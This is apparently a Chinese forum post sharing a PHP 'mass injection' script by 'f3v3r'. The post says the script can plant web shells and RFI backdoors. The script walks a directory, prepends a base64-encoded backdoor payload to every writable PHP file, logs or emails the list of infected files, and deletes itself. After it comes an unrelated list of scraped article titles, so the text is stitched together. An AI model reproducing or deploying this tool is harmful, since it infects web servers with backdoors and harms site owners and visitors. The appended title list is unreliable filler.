批量写入档案脚本...

可以拿来挂马

也能拿来当RFI的后门注入

code都写明的,有需要的请自己看

后门写在$inj里面,要做base64 encode的Polymorphic

不希望这个东西被搞破坏的人拿去玩

懂原理的就自个儿收下吧

set_time_limit(0);

ignore_user_abort(1);

# PHP Mass Injection Script by f3v3r ver.228

# |1| Look for PHP in directory.|2| Check injected.

# |3| Inject script. |4|Can email report to you.

$inj ='';

$log_email = 0;//change 1 enable, somehow they can trace you by this way.

$email = 'f3v3r@cc.cc';

$log_report = 1;

$filename = '__log.html';

$delete_me = 1;

echo '

f3v3r injection toolzDefacez aint hack, r00tz r.
';

$dir = opendir('.');

$site=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);

while ($file = readdir($dir))

{

if (strstr($file, '.php') && is_writeable($file))

{

$victim = fopen($file, 'r+');

$victim_read = fread($victim, filesize($file));

if (!strstr($victim_read, 'f3v3r'))

{

fclose($victim);

unlink($file);

$new = fopen($file, 'a+');

$new_write = fwrite($new, base64_decode($inj) . $victim_read);

fclose($new);

echo '[-] injecting : ' . $site . '
';

echo '[x] injected: ' . $file . '
';

if($log_email) { $log = fopen('__tmp', 'a+'); fwrite($log, '[x] File: ' . getcwd() . $file . '
'); fclose($log); }

if($log_report) { $x = fopen($filename, 'a+'); fwrite($x, '[x] File: ' . getcwd() . $file . '\n'); fclose($x); }

}

}

}

closedir($dir);

if($log_email) { $report = file_get_contents('__tmp'); mail($email, "injection report", '
f3v3r
' .$report, 'From: f3v3r '); unlink('__tmp'); echo '[x] Email Report Sent!';}

if($delete_me) { unlink(__file__); }

exit;

?>

MD5 checksum:DE734BDAC73E6ECE8DD3DB40416976E8

#f3v3r

附件: injection.rar (1.52 KB)

php 批量删除挂马文件夹,PHP批量挂马脚本相关推荐

  1. linux 批量解压gz文件夹,linux 批量解压gz bz2文件

    一.批量解压bz2文件 find -maxdepth 1 -name "*.bz2"|xargs -i tar xvjf {} 这条命令可解压当前目录下的所有bz2文件 批量解压是 ...

  2. Python练习题:批量删除多个文件夹内的相同文件

    应用场景: 下载的多个文件夹是压缩包,解压后每个文件夹都有某个网站的推广链接,想要批量的删除该文件 使用环境:win7,python3.6 代码: 1.直接用for循环 由于os.walk()方法自带 ...

  3. Python小练习:批量删除多个文件夹内的相同文件

    应用场景: 下载的多个文件夹是压缩包,解压后每个文件夹都有某个网站的推广链接,想要批量的删除该文件 代码: 1.直接用for循环 由于os.walk()方法自带深度遍历功能,这里直接使用for循环即可 ...

  4. 在Linux系统下, 可以用一个命令很容易批量删除.svn的文件夹

    find . -name .svn -type d -exec rm -fr {} \;

  5. ubuntu18批量解压和删除压缩包以及文件夹操作

    ubuntu18批量解压缩包 1 批量解压压缩包 1.1 第一种方法:xargs传参 1.2 第二种方法:for循环 2 解压单个压缩包 3 删除指定后缀文件 4 一个文件夹移动到另一个文件夹 4.1 ...

  6. 电脑文件夹怎么批量重命名

    不管你做什么工作,不管你能力如何,只要你有爱岗敬业的精神,才能把工作做好.那么你面对电脑文件夹是怎么管理的呢?你是否会定期对电脑文件夹进行批量重命名整理?其实对电脑文件夹的整理也是我们工作中很重要的一 ...

  7. linux无法删除mount挂载文件夹

    文章目录 一.问题描述: 二.解决方案 三.总结 一.问题描述: 我是非root的服务器账号,因为始终无法访问某个sshfs的挂载文件夹,于是想取消挂载后重新挂载.但是取消挂载时,所有对该文件的命令均 ...

  8. windows OneDrive 同步任意文件夹 同步被挂起

    参考文章:同步挂起问题解决 – Onedrive使用mklink实现同步任意文件夹 网上大部分的都是:mklink /d <你的onedrive同步目录>\workspace\ D:\wo ...

  9. 如何删除 Windows.old 文件夹

    在对 windows 系统进行升级之后,发现在 C 盘里多出了一个 Windows.old 的文件夹,这时我们直接用点击它进行删除是没有权限的,不能进行删除,那么,怎么样才能对它进行删除呢?方法有很多 ...

最新文章

  1. 函数的四种调用模式.上下文调用.call.apply
  2. 软件体系架构模式之三微内核体系架构
  3. ssh_config sshd_config 详解
  4. 【死磕Java并发】—–深入分析synchronized的实现原理
  5. 导航模块自带的rtk算法_这款百元国产RTK板卡要改变高精度定位市场格局吗?
  6. BZOJXXXX: [IOI2000]邮局——四边形不等式优化初探
  7. SAP Spartacus的自定义路由
  8. 操作系统实验读者写者程序源码_SAST Weekly | STM32F103系列开发板移植华为LiteOS操作系统...
  9. c# vscode 配置_用VS Code写C#
  10. 转: android apk 防止反编译技术(1~5连载)
  11. 推荐:年度巨献:《Ubuntu桌面生存指南》(作者:ghosert)
  12. ArcGIS Runtime SDK for Android 加载shp数据,中文乱码问题
  13. Multisim14仿真使用汇总
  14. windows下ping端口
  15. 精品Uniapp的餐厅餐馆饮订餐点餐管理系统实现的App
  16. 计算机网页设计与制作论文,网页设计与制作毕业论文
  17. JavaScript斐波那契数列兔子问题
  18. java编程:对两个分数进行简单的算术运算
  19. cpu占用高 mongo_记一次 MongoDB 占用 CPU 过高问题的排查
  20. 使用OpenCV读取摄像头图像并显示

热门文章

  1. keras + tensorflow —— 文本处理
  2. python 在线培训费用-python培训班费用
  3. python从入门到精通-Python从入门到精通
  4. 如何自学python知乎-你们都是怎么学 Python 的?
  5. python画雷达图-python使用matplotlib绘制雷达图
  6. python中文版软件下载-Python IDLE(Python集成开发环境)v3.7中文版
  7. python代码翻译器-我用40行python代码写一个桌面翻译器,很nice
  8. python怎么读取csv文件-python如何读取csv数据
  9. 一种基于说话人识别和数字语音识别的身份认证方法与流程
  10. R-查询子段元素和 提前储存